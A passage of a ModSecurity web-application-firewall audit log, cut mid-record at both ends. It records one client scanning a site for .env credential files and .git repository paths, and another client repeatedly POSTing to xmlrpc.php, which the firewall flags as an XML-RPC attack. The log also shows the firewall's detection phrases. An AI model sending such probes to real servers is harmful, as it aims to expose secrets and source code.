"/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/cgi-bin/.env"] [unique_id "aE94XeMjvy_LHXlMeRAU4gAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038621730322 648022 (- - -) Stopwatch2: 1750038621730322 648022; combined=2029, p1=395, p2=1535, p3=0, p4=0, p5=99, sr=111, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1fcb2f53-Z-- --10508c2c-A-- [16/Jun/2025:07:20:23.399697 +0530] aE94Xn9ZI6Q__Lo-KiYVRQAAAAc 185.177.72.210 48692 127.0.0.1 7081 --10508c2c-B-- GET /name/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --10508c2c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=fbe71269aaaf50bfae5adbefa88d9f741750038623; expires=Mon, 16 Jun 2025 02:50:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --10508c2c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/name/.env"] [unique_id "aE94Xn9ZI6Q__Lo-KiYVRQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038622727006 672753 (- - -) Stopwatch2: 1750038622727006 672753; combined=1761, p1=344, p2=1327, p3=0, p4=0, p5=90, sr=84, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --10508c2c-Z-- --45feaf1c-A-- [16/Jun/2025:07:20:24.410646 +0530] aE94XzZ3uHeEW3BYvDO8iQAAAAA 185.177.72.210 48726 127.0.0.1 7081 --45feaf1c-B-- GET /directories/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --45feaf1c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1472254397e360dda93ff15694ebfe891750038624; expires=Mon, 16 Jun 2025 02:50:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --45feaf1c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/directories/.env"] [unique_id "aE94XzZ3uHeEW3BYvDO8iQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038623751802 658921 (- - -) Stopwatch2: 1750038623751802 658921; combined=1900, p1=398, p2=1398, p3=0, p4=0, p5=104, sr=105, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --45feaf1c-Z-- --057d2539-A-- [16/Jun/2025:07:20:30.435311 +0530] aE94ZYkQyF8-ounHsxsINQAAAA8 185.177.72.210 43144 127.0.0.1 7081 --057d2539-B-- GET /.env.test HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --057d2539-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b4187916e250cbb613f6a7286dc277ea1750038630; expires=Mon, 16 Jun 2025 02:50:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --057d2539-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.test"] [unique_id "aE94ZYkQyF8-ounHsxsINQAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038629671621 763781 (- - -) Stopwatch2: 1750038629671621 763781; combined=1869, p1=367, p2=1397, p3=0, p4=0, p5=104, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --057d2539-Z-- --e1374212-A-- [16/Jun/2025:07:20:31.040179 +0530] aE94Zvv_9qNKLXJRkuZgvQAAAAs 128.199.112.101 43164 127.0.0.1 7081 --e1374212-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 489 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --e1374212-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --e1374212-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE94Zvv_9qNKLXJRkuZgvQAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038630093683 946573 (- - -) Stopwatch2: 1750038630093683 946573; combined=2169, p1=363, p2=1348, p3=54, p4=68, p5=212, sr=103, sw=124, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e1374212-Z-- --6e46b506-A-- [16/Jun/2025:07:21:31.586224 +0530] aE94ovv_9qNKLXJRkuZg2wAAAAs 128.199.112.101 39506 127.0.0.1 7081 --6e46b506-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --6e46b506-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --6e46b506-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE94ovv_9qNKLXJRkuZg2wAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038690503543 1082737 (- - -) Stopwatch2: 1750038690503543 1082737; combined=2678, p1=456, p2=1810, p3=46, p4=69, p5=180, sr=112, sw=117, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6e46b506-Z-- --b6f32169-A-- [16/Jun/2025:07:21:33.233902 +0530] aE94pOhCUAahT1nBjTYQtAAAAAM 185.177.72.210 40434 127.0.0.1 7081 --b6f32169-B-- GET /.git/hooks/update HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b6f32169-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=dcd90ae073929bc61386a84d1ed773e41750038693; expires=Mon, 16 Jun 2025 02:51:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b6f32169-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/hooks/update"] [unique_id "aE94pOhCUAahT1nBjTYQtAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038692532643 701364 (- - -) Stopwatch2: 1750038692532643 701364; combined=1659, p1=362, p2=1212, p3=0, p4=0, p5=84, sr=83, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b6f32169-Z-- --f22a7e01-A-- [16/Jun/2025:07:21:50.827504 +0530] aE94tvvF1ly0gx5reNmEawAAAAE 185.177.72.210 46770 127.0.0.1 7081 --f22a7e01-B-- GET /.git/hooks/prepare-commit-msg HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f22a7e01-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c3d5b22de5700d98a13d3aca1d39486c1750038710; expires=Mon, 16 Jun 2025 02:51:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f22a7e01-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/hooks/prepare-commit-msg"] [unique_id "aE94tvvF1ly0gx5reNmEawAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038710141284 686282 (- - -) Stopwatch2: 1750038710141284 686282; combined=1909, p1=365, p2=1454, p3=0, p4=0, p5=90, sr=95, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f22a7e01-Z-- --a7854a4c-A-- [16/Jun/2025:07:21:52.823817 +0530] aE94uAS4XDlCv3KXioQHpAAAAAY 185.177.72.210 46852 127.0.0.1 7081 --a7854a4c-B-- GET /:8000/courrier/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a7854a4c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f75b324f899035ab0c83e3c61eed52511750038712; expires=Mon, 16 Jun 2025 02:51:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a7854a4c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/courrier/.env"] [unique_id "aE94uAS4XDlCv3KXioQHpAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038712174105 649784 (- - -) Stopwatch2: 1750038712174105 649784; combined=1973, p1=428, p2=1453, p3=0, p4=0, p5=91, sr=118, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a7854a4c-Z-- --92bd2a4e-A-- [16/Jun/2025:07:22:01.532472 +0530] aE94wOhCUAahT1nBjTYQyAAAAAM 185.177.72.210 60152 127.0.0.1 7081 --92bd2a4e-B-- GET /:8000/front/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --92bd2a4e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d209d661cee4dd7c37ff46e7e1f5cfcf1750038721; expires=Mon, 16 Jun 2025 02:52:01 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --92bd2a4e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/front/.env"] [unique_id "aE94wOhCUAahT1nBjTYQyAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038720845341 687202 (- - -) Stopwatch2: 1750038720845341 687202; combined=1798, p1=382, p2=1313, p3=0, p4=0, p5=102, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --92bd2a4e-Z-- --bdfc0f04-A-- [16/Jun/2025:07:22:10.753856 +0530] aE94yvv_9qNKLXJRkuZg-gAAAAs 185.177.72.210 59760 127.0.0.1 7081 --bdfc0f04-B-- GET /:8888/awstats/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bdfc0f04-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8359cc05c6848928126edc0f8bceb2961750038730; expires=Mon, 16 Jun 2025 02:52:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bdfc0f04-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/awstats/.env"] [unique_id "aE94yvv_9qNKLXJRkuZg-gAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038730097467 656481 (- - -) Stopwatch2: 1750038730097467 656481; combined=2002, p1=445, p2=1449, p3=0, p4=0, p5=108, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bdfc0f04-Z-- --e1607d3d-A-- [16/Jun/2025:07:22:15.748254 +0530] aE94z_v_9qNKLXJRkuZg_AAAAAs 185.177.72.210 59930 127.0.0.1 7081 --e1607d3d-B-- GET /api/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e1607d3d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2982e36bae3413a153e9dd3f2ceeeadf1750038735; expires=Mon, 16 Jun 2025 02:52:15 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e1607d3d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/api/.env.staging"] [unique_id "aE94z_v_9qNKLXJRkuZg_AAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038735073965 674353 (- - -) Stopwatch2: 1750038735073965 674353; combined=1643, p1=364, p2=1192, p3=0, p4=0, p5=87, sr=99, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e1607d3d-Z-- --1c2e203e-A-- [16/Jun/2025:07:22:18.097005 +0530] aE940fvF1ly0gx5reNmEfgAAAAE 185.177.72.210 59988 127.0.0.1 7081 --1c2e203e-B-- GET /.git/refs/remotes HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1c2e203e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=730c110bcf6be53d958a30947172f2521750038737; expires=Mon, 16 Jun 2025 02:52:17 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1c2e203e-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/refs/remotes"] [unique_id "aE940fvF1ly0gx5reNmEfgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038737421912 675157 (- - -) Stopwatch2: 1750038737421912 675157; combined=1857, p1=373, p2=1374, p3=0, p4=0, p5=109, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1c2e203e-Z-- --c3a84c34-A-- [16/Jun/2025:07:22:28.962629 +0530] aE943H9ZI6Q__Lo-KiYVlAAAAAc 185.177.72.210 60510 127.0.0.1 7081 --c3a84c34-B-- GET /bak/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c3a84c34-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9740c8b770f6cbef96f781e6eb8ddd721750038748; expires=Mon, 16 Jun 2025 02:52:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c3a84c34-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/bak/.env.production"] [unique_id "aE943H9ZI6Q__Lo-KiYVlAAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038748304174 658519 (- - -) Stopwatch2: 1750038748304174 658519; combined=2010, p1=400, p2=1515, p3=0, p4=0, p5=94, sr=112, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c3a84c34-Z-- --5058e25b-A-- [16/Jun/2025:07:22:31.578057 +0530] aE943jZ3uHeEW3BYvDO82gAAAAA 128.199.112.101 42812 127.0.0.1 7081 --5058e25b-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 489 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --5058e25b-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --5058e25b-H-- Message: Warning. Operator EQ matched 0 at IP. [file 